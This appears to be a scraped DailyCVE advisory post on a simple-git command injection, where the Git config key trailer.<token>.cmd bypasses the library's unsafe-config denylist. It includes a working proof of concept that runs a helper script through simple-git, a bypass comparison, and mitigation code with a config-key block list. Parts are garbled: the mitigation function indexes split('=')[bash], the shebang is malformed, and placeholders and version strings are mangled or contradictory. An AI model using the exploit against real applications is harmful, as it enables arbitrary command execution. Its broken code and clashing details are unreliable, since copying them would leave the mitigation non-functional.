simple-git, OS Command Injection, CVE-2026-102828 (Critical) -DC-Oct2026-2756

Listen to this Post

CVE-2026-102828 is a critical OS command injection vulnerability in the simple-git library for Node.js, affecting versions 3.15.0 through 4.0.0. The default `blockUnsafeOperationsPlugin` fails to classify the Git configuration key `trailer..cmd` as unsafe, allowing attacker-controlled values to reach Git’s `interpret-trailers` command without triggering a GitPluginError. The root cause is an incomplete denylist: `preventUnsafeConfig` in `@simple-git/argv-parser` contains no matcher for trailer command configuration, even though Git documents `trailer..cmd` as a shell command invoked by git interpret-trailers. When an application passes untrusted data through `SimpleGitOptions.config` or inline `-c =` arguments, the value reaches Git unblocked, and Git executes the specified shell command with the operating-system identity and permissions of the Node.js process. The vulnerability was introduced in commit 6b3c631eadea81f80ed10f6dec7d19a9db4d7084 with the initial unsafe-operation plugin, and `[email protected]` was the first release confirmed to contain it. The latest release at the time of analysis, 3.36.0, still lacked a trailer-command matcher. No released remediation was identified in the original advisory, though the issue was subsequently fixed in version 4.0.1. The attack vector is network-based, requiring no privileges or user interaction, with high impact on confidentiality, integrity, and availability.

DailyCVE Form:

Platform: simple-git
Version: 3.15.0-4.0.0
Vulnerability: OS command injection
Severity: Critical
date: 2026-09-29

Prediction: 2026-10-05

What Undercode Say

Analytics

Control: core.editor is blocked by preventUnsafeConfig
const git = simpleGit({ config: ['core.editor=/tmp/test-helper'] });
await git.status(); // throws GitPluginError before spawning Git
Bypass: trailer.audit.cmd is not blocked
const git = simpleGit({ config: ['trailer.audit.cmd=/tmp/test-helper'] });
await git.raw(['interpret-trailers', '--trailer', 'audit:value', 'input.txt']);
Git invokes /tmp/test-helper without throwing GitPluginError
Direct Git invocation equivalent
git -c trailer.audit.cmd=/tmp/test-helper interpret-trailers --trailer audit:value input.txt
// Vulnerable path in simple-git
// git-factory.ts installs commandConfigPrefixingPlugin before blockUnsafeOperationsPlugin
// command-config-prefixing-plugin.ts converts SimpleGitOptions.config to -c <key>=<value>
// detect-vulnerable-config-writes.ts compares against preventUnsafeConfig
// No matcher for trailer.<token>.cmd => invocation allowed
Verify vulnerable parser source
grep -n "trailer" node_modules/@simple-git/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts
Expected output: no matches for trailer.<token>.cmd

Exploit: (Educational Purposes!)

Create a harmless test helper that records its invocation
cat > /tmp/test-helper << 'EOF'
!/bin/bash
echo "$(date): invoked with args: $@" >> /tmp/helper-invocations.log
EOF
chmod +x /tmp/test-helper
Trigger the vulnerability via simple-git
node -e "
const { simpleGit } = require('simple-git');
const git = simpleGit({ config: ['trailer.audit.cmd=/tmp/test-helper'] });
git.raw(['interpret-trailers', '--trailer', 'audit:test', '/dev/null'])
.then(() => console.log('Command executed'))
.catch(err => console.error(err));
"
Verify helper was invoked
cat /tmp/helper-invocations.log
Alternative: inline -c argument injection
node -e "
const { simpleGit } = require('simple-git');
const git = simpleGit();
git.raw(['-c', 'trailer.audit.cmd=/tmp/test-helper', 'interpret-trailers', '--trailer', 'audit:test', '/dev/null'])
.then(() => console.log('Command executed'))
.catch(err => console.error(err));
"
Cleanup
rm -f /tmp/test-helper /tmp/helper-invocations.log

Protection: from this CVE

Upgrade to a patched version
npm install [email protected]
Verify installed version
npm list simple-git
Should output: [email protected] or higher
// Application-level mitigation: strict allowlisting of config keys
const ALLOWED_CONFIG_KEYS = new Set([
'user.name',
'user.email',
'core.autocrlf',
// Never allow: trailer., core.editor, protocol., include.
]);
function validateConfig(configEntries) {
for (const entry of configEntries) {
const key = entry.split('=')[bash];
if (!ALLOWED_CONFIG_KEYS.has(key)) {
throw new Error(<code>Blocked unsafe config key: ${key}</code>);
}
}
return configEntries;
}
// Usage
const userConfig = ['user.name=test'];
validateConfig(userConfig);
const git = simpleGit({ config: userConfig });
Parser-level patch: add trailer.<token>.cmd to preventUnsafeConfig
In detect-vulnerable-config-writes.ts:
Add matcher for /^trailer.[^.]+.cmd$/ and /^trailer.[^.]+.command$/
Integration test: assert no Git child process is spawned
npm test -- --grep "trailer command config should be blocked"

Impact

An attacker who controls the configuration input can cause Git to execute an arbitrary shell command as the Node.js application process. The command runs with the operating-system identity and permissions of that process, bounded by its filesystem, network, and service permissions. This enables data exfiltration, lateral movement within a network, or complete system compromise depending on the process’s privileges. Applications that do not expose untrusted configuration or command arguments to simple-git are outside this threat model.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top